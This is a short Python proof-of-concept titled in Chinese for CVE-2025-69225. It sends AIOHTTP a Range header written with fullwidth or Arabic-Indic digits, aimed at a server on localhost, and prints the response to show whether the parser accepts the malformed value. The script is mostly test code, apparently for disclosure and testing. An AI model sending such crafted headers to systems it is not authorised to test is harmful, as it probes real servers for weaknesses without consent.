CVE-2025-69225 AIOHTTP Range头解析器非ASCII数字漏洞

import asyncio import aiohttp async def test_range_header_vulnerability(): """ CVE-2025-69225 PoC: Testing AIOHTTP Range header with non-ASCII digits This PoC demonstrates how non-ASCII decimal characters can be passed through AIOHTTP's Range header parser. Note: This is for educational/testing purposes only. """ # Non-ASCII decimal characters (fullwidth digits) non_ascii_range = 'bytes=\uff10-\uff15' # Fullwidth 0-5 (U+FF10-U+FF15) # Alternative: Using Unicode numeric characters unicode_range = 'bytes=\u0660-\u0665' # Arabic-Indic digits 0-5 headers = { 'Range': non_ascii_range, 'Host': 'target.example.com' } async with aiohttp.ClientSession() as session: try: # Target should be a vulnerable AIOHTTP server async with session.get( 'http://localhost:8080/resource', headers=headers, timeout=aiohttp.ClientTimeout(total=10) ) as response: print(f"Status: {response.status}") print(f"Headers: {response.headers}") # In vulnerable version, this may succeed # In fixed version, should return 400 Bad Request content = await response.text() print(f"Response: {content[:200]}") except aiohttp.ClientError as e: print(f"Request failed: {e}") except Exception as e: print(f"Error: {e}") if __name__ == '__main__': asyncio.run(test_range_header_vulnerability())